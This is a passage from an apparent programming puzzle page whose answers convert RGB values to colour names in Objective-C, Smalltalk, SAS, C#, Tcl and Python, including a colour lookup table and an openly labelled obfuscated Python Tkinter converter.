khaki", "b19cd9" -> "Light pastel purple", "ffb6c1" -> "Light pink", "ffa07a" -> "Light salmon", "ff9999" -> "Light salmon pink", "20b2aa" -> "Light sea green", "87cefa" -> "Light sky blue", "778899" -> "Light slate gray", "b38b6d" -> "Light taupe", "ffffed" -> "Light yellow", "c8a2c8" -> "Lilac", "bfff00" -> "Lime", "32cd32" -> "Lime green", "195905" -> "Lincoln green", "faf0e6" -> "Linen", "c19a6b" -> "Lion", "534b4f" -> "Liver", "e62020" -> "Lust", "18453b" -> "MSU Green", "ffbd88" -> "Macaroni and Cheese", "ff00ff" -> "Magenta", "aaf0d1" -> "Magic mint", "f8f4ff" -> "Magnolia", "c04000" -> "Mahogany", "fbec5d" -> "Maize", "6050dc" -> "Majorelle Blue", "0bda51" -> "Malachite", "979aaa" -> "Manatee", "ff8243" -> "Mango Tango", "74c365" -> "Mantis", "800000" -> "Maroon", "e0b0ff" -> "Mauve", "915f6d" -> "Mauve taupe", "ef98aa" -> "Mauvelous", "73c2fb" -> "Maya blue", "e5b73b" -> "Meat brown", "0067a5" -> "Medium Persian blue", "66ddaa" -> "Medium aquamarine", "0000cd" -> "Medium blue", "e2062c" -> "Medium candy apple red", "af4035" -> "Medium carmine", "f3e5ab" -> "Medium champagne", "035096" -> "Medium electric blue", "1c352d" -> "Medium jungle green", "dda0dd" -> "Medium lavender magenta", "ba55d3" -> "Medium orchid", "9370db" -> "Medium purple", "bb3385" -> "Medium red violet", "3cb371" -> "Medium sea green", "7b68ee" -> "Medium slate blue", "c9dc87" -> "Medium spring bud", "00fa9a" -> "Medium spring green", "674c47" -> "Medium taupe", "0054b4" -> "Medium teal blue", "48d1cc" -> "Medium turquoise", "c71585" -> "Medium violet red", "fdbcb4" -> "Melon", "191970" -> "Midnight blue", "004953" -> "Midnight green", "ffc40c" -> "Mikado yellow", "3eb489" -> "Mint", "f5fffa" -> "Mint cream", "98ff98" -> "Mint green", "ffe4e1" -> "Misty rose", "faebd7" -> "Moccasin", "967117" -> "Mode beige", "73a9c2" -> "Moonstone blue", "ae0c00" -> "Mordant red 19", "addfad" -> "Moss green", "30ba8f" -> "Mountain Meadow", "997a8d" -> "Mountbatten pink", "c54b8c" -> "Mulberry", "f2f3f4" -> "Munsell", "ffdb58" -> "Mustard", "21421e" -> "Myrtle", "f6adc6" -> "Nadeshiko pink", "2a8000" -> "Napier green", "fada5e" -> "Naples yellow", "ffdead" -> "Navajo white", "000080" -> "Navy blue", "ffa343" -> "Neon Carrot", "fe59c2" -> "Neon fuchsia", "39ff14" -> "Neon green", "059033" -> "North Texas Green", "0077be" -> "Ocean Boat Blue", "cc7722" -> "Ochre", "008000" -> "Office green", "cfb53b" -> "Old gold", "fdf5e6" -> "Old lace", "796878" -> "Old lavender", "673147" -> "Old mauve", "c08081" -> "Old rose", "808000" -> "Olive", "6b8e23" -> "Olive Drab", "bab86c" -> "Olive Green", "9ab973" -> "Olivine", "0f0f0f" -> "Onyx", "b784a7" -> "Opera mauve", "ffa500" -> "Orange", "f8d568" -> "Orange Yellow", "ff9f00" -> "Orange peel", "ff4500" -> "Orange red", "da70d6" -> "Orchid", "654321" -> "Otter brown", "414a4c" -> "Outer Space", "ff6e4a" -> "Outrageous Orange", "002147" -> "Oxford Blue", "1ca9c9" -> "Pacific Blue", "006600" -> "Pakistan green", "273be2" -> "Palatinate blue", "682860" -> "Palatinate purple", "bcd4e6" -> "Pale aqua", "afeeee" -> "Pale blue", "987654" -> "Pale brown", "af4035" -> "Pale carmine", "9bc4e2" -> "Pale cerulean", "ddadaf" -> "Pale chestnut", "da8a67" -> "Pale copper", "abcdef" -> "Pale cornflower blue", "e6be8a" -> "Pale gold", "eee8aa" -> "Pale goldenrod", "98fb98" -> "Pale green", "dcd0ff" -> "Pale lavender", "f984e5" -> "Pale magenta", "fadadd" -> "Pale pink", "dda0dd" -> "Pale plum", "db7093" -> "Pale red violet", "96ded1" -> "Pale robin egg blue", "c9c0bb" -> "Pale silver", "ecebbd" -> "Pale spring bud", "bc987e" -> "Pale taupe", "db7093" -> "Pale violet red", "78184a" -> "Pansy purple", "ffefd5" -> "Papaya whip", "50c878" -> "Paris Green", "aec6cf" -> "Pastel blue", "836953" -> "Pastel brown", "cfcfc4" -> "Pastel gray", "77dd77" -> "Pastel green", "f49ac2" -> "Pastel magenta", "ffb347" -> "Pastel orange", "ffd1dc" -> "Pastel pink", "b39eb5" -> "Pastel purple", "ff6961" -> "Pastel red", "cb99c9" -> "Pastel violet", "fdfd96" -> "Pastel yellow", "800080" -> "Patriarch", "536878" -> "Payne grey", "ffe5b4" -> "Peach", "ffdab9" -> "Peach puff", "fadfad" -> "Peach yellow", "d1e231" -> "Pear", "eae0c8" -> "Pearl", "88d8c0" -> "Pearl Aqua", "e6e200" -> "Peridot", "ccccff" -> "Periwinkle", "1c39bb" -> "Persian blue", "32127a" -> "Persian indigo", "d99058" -> "Persian orange", "f77fbe" -> "Persian pink", "701c1c" -> "Persian plum", "cc3333" -> "Persian red", "fe28a2" -> "Persian rose", "df00ff" -> "Phlox", "000f89" -> "Phthalo blue", "123524" -> "Phthalo green", "fddde6" -> "Piggy pink", "01796f" -> "Pine green", "ffc0cb" -> "Pink", "fc74fd" -> "Pink Flamingo", "f78fa7" -> "Pink Sherbet", "e7accf" -> "Pink pearl", "93c572" -> "Pistachio", "e5e4e2" -> "Platinum", "dda0dd" -> "Plum", "ff5a36" -> "Portland Orange", "b0e0e6" -> "Powder blue", "ff8f00" -> "Princeton orange", "003153" -> "Prussian blue", "df00ff" -> "Psychedelic purple", "cc8899" -> "Puce", "ff7518" -> "Pumpkin", "800080" -> "Purple", "69359c" -> "Purple Heart", "9678b6" -> "Purple mountain majesty", "fe4eda" -> "Purple pizzazz", "50404d" -> "Purple taupe", "5d8aa8" -> "Rackley", "ff355e" -> "Radical Red", "e30b5d" -> "Raspberry", "915f6d" -> "Raspberry glace", "e25098" -> "Raspberry pink", "b3446c" -> "Raspberry rose", "d68a59" -> "Raw Sienna", "ff33cc" -> "Razzle dazzle rose", "e3256b" -> "Razzmatazz", "ff0000" -> "Red", "ff5349" -> "Red Orange", "a52a2a" -> "Red brown", "c71585" -> "Red violet", "004040" -> "Rich black", "d70040" -> "Rich carmine", "0892d0" -> "Rich electric blue", "b666d2" -> "Rich lilac", "b03060" -> "Rich maroon", "414833" -> "Rifle green", "ff007f" -> "Rose", "f9429e" -> "Rose bonbon", "674846" -> "Rose ebony", "b76e79" -> "Rose gold", "e32636" -> "Rose madder", "ff66cc" -> "Rose pink", "aa98a9" -> "Rose quartz", "905d5d" -> "Rose taupe", "ab4e52" -> "Rose vale", "65000b" -> "Rosewood", "d40000" -> "Rosso corsa", "bc8f8f" -> "Rosy brown", "0038a8" -> "Royal azure", "4169e1" -> "Royal blue", "ca2c92" -> "Royal fuchsia", "7851a9" -> "Royal purple", "e0115f" -> "Ruby", "ff0028" -> "Ruddy", "bb6528" -> "Ruddy brown", "e18e96" -> "Ruddy pink", "a81c07" -> "Rufous", "80461b" -> "Russet", "b7410e" -> "Rust", "00563f" -> "Sacramento State green", "8b4513" -> "Saddle brown", "ff6700" -> "Safety orange", "f4c430" -> "Saffron", "23297a" -> "Saint Patrick Blue", "ff8c69" -> "Salmon", "ff91a4" -> "Salmon pink", "c2b280" -> "Sand", "967117" -> "Sand dune", "ecd540" -> "Sandstorm", "f4a460" -> "Sandy brown", "967117" -> "Sandy taupe", "507d2a" -> "Sap green", "0f52ba" -> "Sapphire", "cba135" -> "Satin sheen gold", "ff2400" -> "Scarlet", "ffd800" -> "School bus yellow", "76ff7a" -> "Screamin Green", "006994" -> "Sea blue", "2e8b57" -> "Sea green", "321414" -> "Seal brown", "fff5ee" -> "Seashell", "ffba00" -> "Selective yellow", "704214" -> "Sepia", "8a795d" -> "Shadow", "45cea2" -> "Shamrock", "009e60" -> "Shamrock green", "fc0fc0" -> "Shocking pink", "882d17" -> "Sienna", "c0c0c0" -> "Silver", "cb410b" -> "Sinopia", "007474" -> "Skobeloff", "87ceeb" -> "Sky blue", "cf71af" -> "Sky magenta", "6a5acd" -> "Slate blue", "708090" -> "Slate gray", "003399" -> "Smalt", "933d41" -> "Smokey topaz", "100c08" -> "Smoky black", "fffafa" -> "Snow", "0fc0fc" -> "Spiro Disco Ball", "a7fc00" -> "Spring bud", "00ff7f" -> "Spring green", "4682b4" -> "Steel blue", "fada5e" -> "Stil de grain yellow", "990000" -> "Stizza", "008080" -> "Stormcloud", "e4d96f" -> "Straw", "ffcc33" -> "Sunglow", "fad6a5" -> "Sunset", "fd5e53" -> "Sunset Orange", "d2b48c" -> "Tan", "f94d00" -> "Tangelo", "f28500" -> "Tangerine", "ffcc00" -> "Tangerine yellow", "483c32" -> "Taupe", "8b8589" -> "Taupe gray", "cd5700" -> "Tawny", "d0f0c0" -> "Tea green", "f4c2c2" -> "Tea rose", "008080" -> "Teal", "367588" -> "Teal blue", "006d5b" -> "Teal green", "e2725b" -> "Terra cotta", "d8bfd8" -> "Thistle", "de6fa1" -> "Thulian pink", "fc89ac" -> "Tickle Me Pink", "0abab5" -> "Tiffany Blue", "e08d3c" -> "Tiger eye", "dbd7d2" -> "Timberwolf", "eee600" -> "Titanium yellow", "ff6347" -> "Tomato", "746cc0" -> "Toolbox", "ffc87c" -> "Topaz", "fd0e35" -> "Tractor red", "808080" -> "Trolley Grey", "00755e" -> "Tropical rain forest", "0073cf" -> "True Blue", "417dc1" -> "Tufts Blue", "deaa88" -> "Tumbleweed", "b57281" -> "Turkish rose", "30d5c8" -> "Turquoise", "00ffef" -> "Turquoise blue", "a0d6b4" -> "Turquoise green", "66424d" -> "Tuscan red", "8a496b" -> "Twilight lavender", "66023c" -> "Tyrian purple", "0033aa" -> "UA blue", "d9004c" -> "UA red", "536895" -> "UCLA Blue", "ffb300" -> "UCLA Gold", "3cd070" -> "UFO Green", "014421" -> "UP Forest green", "7b1113" -> "UP Maroon", "990000" -> "USC Cardinal", "ffcc00" -> "USC Gold", "8878c3" -> "Ube", "ff6fff" -> "Ultra pink", "120a8f" -> "Ultramarine", "4166f5" -> "Ultramarine blue", "635147" -> "Umber", "5b92e5" -> "United Nations blue", "b78727" -> "University of California Gold", "ffff66" -> "Unmellow Yellow", "ae2029" -> "Upsdell red", "e1ad21" -> "Urobilin", "d3003f" -> "Utah Crimson", "f3e5ab" -> "Vanilla", "c5b358" -> "Vegas gold", "c80815" -> "Venetian red", "43b3ae" -> "Verdigris", "e34234" -> "Vermilion", "a020f0" -> "Veronica", "ee82ee" -> "Violet", "324ab2" -> "Violet Blue", "f75394" -> "Violet Red", "40826d" -> "Viridian", "922724" -> "Vivid auburn", "9f1d35" -> "Vivid burgundy", "da1d81" -> "Vivid cerise", "ffa089" -> "Vivid tangerine", "9f00ff" -> "Vivid violet", "004242" -> "Warm black", "00ffff" -> "Waterspout", "645452" -> "Wenge", "f5deb3" -> "Wheat", "ffffff" -> "White", "f5f5f5" -> "White smoke", "ff43a4" -> "Wild Strawberry", "fc6c85" -> "Wild Watermelon", "a2add0" -> "Wild blue yonder", "722f37" -> "Wine", "c9a0dc" -> "Wisteria", "738678" -> "Xanadu", "0f4d92" -> "Yale Blue", "ffff00" -> "Yellow", "ffae42" -> "Yellow Orange", "9acd32" -> "Yellow green", "0014a8" -> "Zaffre", "2c1608" -> "Zinnwaldite brown") } ``` [Answer] Well, since I [had it laying around](https://stackoverflow.com/questions/19526374/how-to-print-rgb-colors-name-in-objective-c/19620429#19620429), here it is in Objective-C: ``` - (NSString*)colorNameFromColor:(NSColor*)chosenColor { NSColor* calibratedColor = [chosenColor colorUsingColorSpaceName:NSCalibratedRGBColorSpace]; CGFloat hue; CGFloat saturation; CGFloat brightness; [calibratedColor getHue:&hue saturation:&saturation brightness:&brightness alpha:nil]; // I found that when the saturation was below 1% I couldn't tell // the color from gray if (saturation <= 0.01) { saturation = 0.0; } NSString* colorName = @""; // If saturation is 0.0, then this is a grayscale color if (saturation == 0.0) { if (brightness <= 0.2) { colorName = @"black"; } else if (brightness > 0.95) { colorName = @"white"; } else { colorName = @"gray"; if (brightness < 0.33) { colorName = [@"dark " stringByAppendingString:colorName]; } else if (brightness > 0.66) { colorName = [@"light " stringByAppendingString:colorName]; } } } else { if ((hue <= 15.0 / 360.0) || (hue > 330.0 / 360.0)) { colorName = @"red"; } else if (hue < 45.0 / 360.0) { colorName = @"orange"; } else if (hue < 70.0 / 360.0) { colorName = @"yellow"; } else if (hue < 150.0 / 360.0) { colorName = @"green"; } else if (hue < 190.0 / 360.0) { colorName = @"cyan"; } else if (hue < 250.0 / 360.0) { colorName = @"blue"; } else if (hue < 290.0 / 360.0) { colorName = @"purple"; } else { colorName = @"magenta"; } if (brightness < 0.5) { colorName = [@"dark " stringByAppendingString:colorName]; } else if (brightness > 0.8) { colorName = [@"bright " stringByAppendingString:colorName]; } } return colorName; } ``` [Answer] # Pharo Smalltalk Put this in a Pharo Workspace and *print it*. ``` | color colorNames nearestColorName | color := Color r: 255 g: 0 b: 0 range: 255. colorNames := Color registeredColorNames copyWithout: #transparent. nearestColorName := colorNames detectMin: [ :each | (Color named: each) diff: color]. ``` The results are of mixed quality. All darker colors are named as *gray*, *dark gray* or *very dark gray*. Probably `Color`'s `diff:` method could be better. For a very simple visualization *do*: ``` ((Morph newBounds: (0@0 extent: 200@200 ) color: color) addMorph: nearestColorName asMorph) openInWorld. ``` [Answer] SAS macro, based on the (rather quaint) SAS V8 colour names as documented here: <https://v8doc.sas.com/sashtml/gref/zgscheme.htm#zrs-hues> Sample input: ``` %rgbname(100,100,50); ``` Sample output: ![As seen on Windows 7](https://i.stack.imgur.com/pblM0.png) EDIT: Updated with much more compact version. ``` %macro rgbname(r,g,b); data _null_; infile "C:\temp\colours.csv" dlm = ',' lrecl=32767 missover firstobs = 2 end = eof; format name description $32. rgb hls $8.; input name description rgb hls; R = input(substr(rgb,3,2),hex.); G = input(substr(rgb,5,2),hex.); B = input(substr(rgb,7,2),hex.); retain min_distance outdesc; distance = (r-&r)**2 + (g-&g)**2 + (b-&b)**2; min_distance = min(distance, min_distance); if distance = min_distance then outdesc = description; if eof then call symput("COLOUR_NAME", outdesc); run; dm log "postmessage ""You meant &COLOUR_NAME""" continue; %mend rgbname; ``` XKCD version - a blatant ripoff of the top answer, but it's a nice little demo of the filename URL engine, and doesn't require manual preparation of a CSV: ``` %macro rgb_xkcd_name(r,g,b); filename xkcd URL "http://bpaste.net/raw/402634/" debug; data _null_; infile xkcd dlm = ',][' lrecl=32767 missover end = eof; format r g b 3. name $32.; input r g b name; retain min_distance outname; distance = (r-&r)**2 + (g-&g)**2 + (b-&b)**2; min_distance = min(distance, min_distance); if distance = min_distance then outname = name; if eof then do; call symput("COLOUR_NAME", outname); put _all_; end; run; dm log "postmessage ""XKCD thinks you meant &COLOUR_NAME""" continue; %mend rgb_xkcd_name; ``` [Answer] A C# Solution with Linq and KnownColors from .NET ``` string GetColorName(int r, int g, int b){ return Enum.GetValues(typeof(KnownColor)) .OfType<KnownColor>() .Select(x => Color.FromKnownColor(x)) .Select(x => new {Col = x, Offset = Math.Abs(r - x.R) + Math.Abs(g - x.G) + Math.Abs(b - x.B)}) .OrderBy(x => x.Offset) .Select(x => x.Col) .First().Name; } ``` [Answer] ## Tcl This references X11 colors from `rgb.txt`. On my Ubuntu it's in `/etc/X11/rgb.txt` though I know on some systems it's in `/usr/lib/X11/rgb.txt`. Google `rgb.txt` and download it if you don't run X11. ``` #! /usr/bin/env tclsh set f [open /etc/X11/rgb.txt] set raw [read $f] close $f set COLORS {} foreach line [split $raw \n] { regexp {(\d+)\s+(\d+)\s+(\d+)\s+(.+)} $line -> r g b name if {[info exists name] && $name != ""} { lappend COLORS [format %02x%02x%02x $r $g $b] $name } } proc color_distance {a b} { set a [scan $a %2x%2x%2x] set b [scan $b %2x%2x%2x] set dist 0 foreach x $a y $b { set dist [expr {$dist + (abs($x-$y)**2)}] } return $dist } proc identify {given_color} { global COLORS set d 0xffffff set n "not found" set c "" foreach {test_color name} $COLORS { set dist [color_distance $given_color $test_color] if {$dist < $d} { set d $dist set n $name set c $test_color } } return "$n ($c)" } puts [identify $argv] ``` Pass color code as command line argument. [Answer] # Python 2.6 ## With UI: ### Obfuscated (8,397 bytes): ``` exec("import re;import base64");exec((lambda p,y:(lambda o,b,f:re.sub(o,b,f))(r"([0-9a-f]+)",lambda m:p(m,y),base64.b64decode("MTZkIGI2IGNlICoKMjYgPSB7JyNkOSc6ICc5MScsICcjMTA0JzogJzE3MicsICcjOGInOiAnYTYnLCAnIzEyYyc6ICdhNScsICcjZjcnOiAnMTU4JywgJyNmYic6ICc2OCcsICcjMTE2JzogJzQwJywgJyMxMGQnOiAnNjEnLCAnIzEyYSc6ICc1ZCcsICcjZjgnOiAnOWQnLCAnIzExNyc6ICc3MycsICcjMTQwJzogJzdiJywgJyMxM2MnOiAnM2YnLCAnI2RkJzogJzQxJywgJyNmMyc6ICdmMCcsICcjMTE1JzogJzE3MScsICcjMTM0JzogJzc1JywgJyMxMzknOiAnMTU2JywgJyMxM2QnOiAnNDknLCAnI2QyJzogJzZmJywgJyMxMjknOiAnN2QnLCAnIzE0Mic6ICdjMCcsICcjZmEnOiAnMzcnLCAnI2VlJzogJzkzJywgJyNlZic6ICc4NScsICcjZjEnOiAnMTY2JywgJyNmZSc6ICczYycsICcjZjknOiAnYjEnLCAnIzEyZCc6ICcxMzEnLCAnI2M5JzogJzVhJywgJyMxNTAnOiAnNzYnLCAnI2U5JzogJzMxJywgJyNkMSc6ICdiMicsICcjMTBjJzogJzgzJywgJyMxMzUnOiAnMTU0JywgJyNiOCc6ICc2MycsICcjYmQnOiAnNzAnLCAnI2ZjJzogJzE3MCcsICcjYzMnOiAnOTknLCAnI2JiJzogJzE2OScsICcjMTFlJzogJzdmJywgJyNmNSc6ICc2MicsICcjMTFmJzogJzJhJywgJyNkNCc6ICc3NycsICcjMTAyJzogJ2YnLCAnIzEyMic6ICc0YicsICcjMTAzJzogJ2E3JywgJyNlMSc6ICcxMzAnLCAnIzE0ZCc6ICc1OScsICcjZjQnOiAnNzgnLCAnI2U4JzogJzI0JywgJyNjMic6ICdhYScsICcjMTA3JzogJzY0JywgJyNlYic6ICc4ZicsICcjMTNiJzogJzcyJywgJyNiOSc6ICdhZicsICcjMTJiJzogJzM5JywgJyNjNCc6ICdhYicsICcjZGMnOiAnMTVmJywgJyMxNGYnOiAnYTQnLCAnI2RlJzogJzE1YicsICcjMTM2JzogJzE1NycsICcjZTcnOiAnZWMnLCAnIzExMSc6ICcxNmMnLCAnIzE1MSc6ICc2NicsICcjMTJmJzogJzExYycsICcjZTUnOiAnNWMnLCAnIzExYic6ICcxNmInLCAnIzEyNic6ICcxNTUnLCAnI2U2JzogJzJlJywgJyNiZic6ICc4NCcsICcjZTInOiAnMTdmJywgJyMxMzInOiAnM2InLCAnI2ZmJzogJzFiJywgJyNiYyc6ICcxM2EnLCAnIzE0NCc6ICc0YycsICcjYzUnOiAnMTY4JywgJyNlNCc6ICc2YycsICcjMTE4JzogJzE3NScsICcjY2MnOiAnMTVkJywgJyMxMGYnOiAnNWInLCAnIzEwOSc6ICcxNjcnLCAnIzEyZSc6ICc5NScsICcjMTBlJzogJzk0JywgJyNlYSc6ICczMicsICcjMTRhJzogJzM1JywgJyMxMTInOiAnMTQxJywgJyNiNyc6ICc4NycsICcjMTEzJzogJ2EzJywgJyNkNic6ICc4ZScsICcjZTMnOiAnOWMnLCAnI2RhJzogJzZlJywgJyNkNyc6ICczOCcsICcjYmUnOiAnNTAnLCAnIzE0Yic6ICc5NycsICcjMTIwJzogJzE1ZScsICcjMTUzJzogJ2FlJywgJyMxMTknOiAnNGUnLCAnIzEwMCc6ICdiMCcsICcjMTUyJzogJzdhJywgJyMxMDYnOiAnMTQ4JywgJyNkOCc6ICc0MycsICcjMTI3JzogJzM2JywgJyNkYic6ICc1NScsICcjMTM4JzogJzQ1JywgJyNjNic6ICcxNmEnLCAnI2VkJzogJzE2NCcsICcjMTI4JzogJzhkJywgJyMxMWQnOiAnN2MnLCAnI2Q1JzogJzE3MycsICcjY2EnOiAnODknLCAnI2NmJzogJ2FjJywgJyMxNGUnOiAnODInLCAnIzEwYSc6ICc0OCcsICcjMTQ3JzogJzVlJywgJyMxMzMnOiAnM2QnLCAnIzEwOCc6ICc4YScsICcjYmEnOiAnOWUnLCAnIzEyMyc6ICcxMjUnLCAnI2QzJzogJzk4JywgJyNmNic6ICc3OScsICcjY2QnOiAnNmInLCAnIzEzNyc6ICc2MCcsICcjMTNlJzogJ2QwJywgJyMxM2YnOiAnMzMnLCAnIzExNCc6ICdhMicsICcjMTBiJzogJzVmJywgJyNjYic6ICc2OScsICcjMTQzJzogJzI1JywgJyMxMjQnOiAnOTInLCAnIzExYSc6ICc5YScsICcjZGYnOiAnM2UnLCAnI2M4JzogJ2I1JywgJyNjMSc6ICc0MicsICcjZjInOiAnNjcnLCAnIzgwJzogJzE3NCcsICcjZmQnOiAnYzcnLCAnIzE0NSc6ICc5MCd9Cgo1MiAyMSgxMyk6CgkxMyA9IDEzLjE0NignIycpCgk5ZiA9IDE3OSgxMykKCTExIDE2MSg1NCgxM1sxNzg6MTc4KzlmLzNdLCAxNikgZTAgMTc4IDRmIDIyKDAsIDlmLCA5Zi8zKSkKCjE2MiAxYyg2YSk6CgkKCTUyIDJiKDU2LCA0ZCk6CgkJNmEuMmIoNTYsIDRkKQoJCTU2LjY1KCkKCQk1Ni5hOSgpCgkKCTUyIGE5KDU2KToKCQk1Ni5iID0gMTg4KDU2LCA0NCA9ICIxNjAgNGYgYSAxMTAgMTMuIikKCQk1Ni5iLjY1KDE4MiA9IDEsIDE3YyA9IDAsIDE4NyA9IDMpCgkJCgkJNTYuMmMgPSAxODgoNTYsIDQ0ID0gIjE3YiIpCgkJNTYuMmMuNjUoMTgyID0gMiwgMTdjID0gMCwgMTkgPSA1LCAxOCA9IDUpCgkJNTYuMWEgPSAzMCg1NikKCQk1Ni4xYS42NSgxODIgPSAzLCAxN2MgPSAwLCAxOSA9IDUsIDE4ID0gNSkKCQkKCQk1Ni40YSA9IDE4OCg1NiwgNDQgPSAiMTVjIikKCQk1Ni40YS42NSgxODIgPSAyLCAxN2MgPSAxLCAxOSA9IDUsIDE4ID0gNSkKCQk1Ni4xMCA9IDMwKDU2KQoJCTU2LjEwLjY1KDE4MiA9IDMsIDE3YyA9IDEsIDE5ID0gNSwgMTggPSA1KQoJCQoJCTU2LjI4ID0gMTg4KDU2LCA0NCA9ICIxNmUiKQoJCTU2LjI4LjY1KDE4MiA9IDIsIDE3YyA9IDIsIDE5ID0gNSwgMTggPSA1KQoJCTU2LjE4NiA9IDMwKDU2KQoJCTU2LjE4Ni42NSgxODIgPSAzLCAxN2MgPSAyLCAxOSA9IDUsIDE4ID0gNSkKCgkJNTYuNDcgPSAxNGMoNTYsIDQ0ID0gImFkIiwgYjMgPSA1Ni4zNCkKCQk1Ni40Ny42NSgxODIgPSA0LCAxN2MgPSAwLCAxODcgPSAzKQoKCQk1Ni4xNTkgPSAxODgoNTYpCgkJNTYuMTU5LjY1KDE4MiA9IDUsIDE3YyA9IDAsIDE4NyA9IDMpCgoJCTU2LmMgPSA1OCg1NiwgNzEgPSAxNDksIDQ2ID0gMjApCgkJNTYuYy42NSgxODIgPSA2LCAxN2MgPSAwLCAxODcgPSAzKQoKCQk1Ni4xMiA9IDE4OCg1NikKCQk1Ni4xMi42NSgxODIgPSA2LCAxN2MgPSAwLCA1MSA9IDE4NSkKCQkKCQk1Ni44ID0gNTgoNTYsIDcxID0gMTQ5LCA0NiA9IDIwKQoJCTU2LjguNjUoMTgyID0gNywgMTdjID0gMCwgMTg3ID0gMykKCgkJNTYuZCA9IDE4OCg1NikKCQk1Ni5kLjY1KDE4MiA9IDcsIDE3YyA9IDAsIDUxID0gMTg1KQoKCTUyIDM0KDU2KToKCQkxNzc6CgkJCTI1ID0gNTQoNTYuMWEuODgoKSkKCQkJZiA9IDU0KDU2LjEwLjg4KCkpCgkJCTFiID0gNTQoNTYuMTg2Ljg4KCkpCgkJMTAxIDc0OgoJCQk1Ni4xNTlbIjQ0Il0gPSAiMjMgNTcgMWQgMWUgMTQuIgoJCQkxMQoKCQkxMjEgMjUgMWQgNGYgMjIoOGMpOgoJCQk1Ni4xNTlbIjQ0Il0gPSAiMjMgNTcgMWQgMWUgMTQuIgoJCQkxMQoJCTEyMSBmIDFkIDRmIDIyKDhjKToKCQkJNTYuMTU5WyI0NCJdID0gIjIzIDU3IDFkIDFlIDE0LiIKCQkJMTEKCQkxMjEgMWIgMWQgNGYgMjIoOGMpOgoJCQk1Ni4xNTlbIjQ0Il0gPSAiMjMgNTcgMWQgMWUgMTQuIgoJCQkxMQoJCQoJCTkgPSB7fQoJCTI3ID0ge30KCQllMCAxODMsIDE1IDRmIDI2LjE1YSgpOgoJCQkyN1sxNV0gPSAxODMKCQkJYTgsIDUzLCA2ZCA9IDIxKDE4MykKCQkJM2EgPSA4NihhOCAtIDI1KQoJCQkyOSA9IDg2KDUzIC0gZikKCQkJMmYgPSA4Nig2ZCAtIDFiKQoJCQk5WzNhICsgMjkgKyAyZl0gPSAxNQoJCTE3ID0gOVsxN2UoOS4xNzYoKSldOwoKCQkxODMgPSAyN1sxN10KCgkJMmQgPSAnIyU4MSU4MSU4MScgJSAoMjUsIGYsIDFiKQoJCQoJCTU2LjE1OVsiNDQiXSA9ICIxN2QgMTcgMTg0ICIgKyAgMTcKCQk1Ni4xMlsiNDQiXSA9ICIoIiArIDk2KDI1KSArICIsICIgKyA5NihmKSArICIsICIgKyA5NigxYikgKyAiKSIKCQk1Ni5kWyI0NCJdID0gMTcKCQk1Ni5jLmUoMjAsIDAsIDEwNSwgMjAsIGEwID0gMmQpCgkJNTYuOC5lKDIwLCAwLCAxMDUsIDIwLCBhMCA9IDE4MykKCjFmID0gMTgxKCkKMWYuMTY1KCIxMTAgMTgwIDE2MyAxNmYgN2UiKQoxZi45YigiYjQiKQoxN2EgPSAxYygxZikKCjFmLmExKCk=")))(lambda a,b:b[int("0x"+a.group(1),16)],"0|1|2|3|4|5|6|7|colorCanvas1|colorDifs|a|instructionsLabel|colorCanvas|canvasText1|create_rectangle|green|greenEntry|return|canvasText|value|numbers|colorName|16|color|pady|padx|redEntry|blue|Application|not|valid|root|20|hex_to_rgb|range|Those|lightgoldenrodyellow|red|colorlist|colors|blueLabel|green_dif|mediumspringgreen|__init__|redLabel|rectFill|mediumaquamarine|blue_dif|Entry|mediumslateblue|mediumvioletred|mediumturquoise|convert|lightsteelblue|darkolivegreen|cornflowerblue|lightslategrey|mediumseagreen|red_dif|blanchedalmond|darkturquoise|darkslateblue|lightseagreen|darkslategray|darkgoldenrod|paleturquoise|lavenderblush|palevioletred|text|palegoldenrod|height|submit|lightskyblue|darkseagreen|greenLabel|antiquewhite|lemonchiffon|master|midnightblue|in|mediumorchid|sticky|def|green1|int|mediumpurple|self|are|Canvas|forestgreen|greenyellow|lightyellow|saddlebrown|darkmagenta|navajowhite|yellowgreen|deepskyblue|floralwhite|lightsalmon|springgreen|sandybrown|grid|lightgreen|blueviolet|darkviolet|lightcoral|Frame|mediumblue|whitesmoke|blue1|darksalmon|aquamarine|papayawhip|width|darkorchid|darkorange|ValueError|dodgerblue|powderblue|ghostwhite|chartreuse|darkgreen|darkkhaki|cadetblue|chocolate|mistyrose|Converter|indianred|000080|02x|lightcyan|steelblue|firebrick|turquoise|abs|slategray|get|palegreen|limegreen|00008b|256|rosybrown|slateblue|olivedrab|peachpuff|lawngreen|burlywood|royalblue|goldenrod|aliceblue|str|orangered|lightgray|mintcream|lightpink|geometry|seagreen|seashell|lavender|lv|fill|mainloop|darkcyan|deeppink|darkgray|moccasin|darkblue|honeydew|red1|loop|cornsilk|thistle|hotpink|Convert|dimgrey|oldlace|crimson|darkred|magenta|command|460x180|skyblue|Tkinter|708090|00ff7f|fdf5e6|e6e6fa|dda0dd|da70d6|ffefd5|ba55d3|b22222|maroon|fff0f5|fff8dc|f5fffa|d8bfd8|ff7f50|cd853f|gainsboro|87ceeb|adff2f|98fb98|f08080|f0e68c|0000cd|import|ff69b4|bisque|ff00ff|7fffd4|d3d3d3|f8f8ff|008080|6a5acd|778899|d87093|7cfc00|e9967a|9370d8|808000|afeeee|f5f5dc|20b2aa|for|c0c0c0|d2b48c|2e8b57|f5f5f5|8b4513|66cdaa|ffa500|fafad2|7b68ee|c71585|6b8e23|orange|faf0e6|4169e1|40e0d0|lightblue|ffffff|8a2be2|add8e6|7fff00|ffa07a|006400|fffff0|fff5ee|8b0000|6495ed|9400d3|ffd700|dcdcdc|00ced1|0000ff|dc143c|except|008000|f0fff0|808080|440|ffff00|f4a460|32cd32|f0ffff|87cefa|9acd32|4682b4|fffaf0|daa520|ffffe0|RGB|00ff00|fa8072|ff1493|008b8b|fffafa|b8860b|ff8c00|ffc0cb|191970|ffb6c1|00ffff|sienna|d2691e|cd5c5c|00fa9a|a52a2a|if|faebd7|800080|deb887|purple|4b0082|556b2f|bc8f8f|ffe4e1|8b008b|3cb371|ffe4b5|ee82ee|f0f8ff|a0522d|silver|violet|ffebcd|483d8b|1e90ff|ff6347|f5deb3|00bfff|eee8aa|000000|orchid|9932cc|2f4f4f|8fbc8f|ffe4c4|48d1cc|5f9ea0|salmon|800000|ff0000|fffacd|ffdab9|lstrip|ffdead|yellow|460|b0c4de|ff4500|Button|228b22|e0ffff|a9a9a9|b0e0e6|90ee90|bdb76b|696969|tomato|indigo|black|wheat|ivory|colorLabel|items|beige|Green|khaki|brown|olive|Enter|tuple|class|Color|linen|title|white|azure|coral|plum|peru|aqua|lime|from|Blue|Na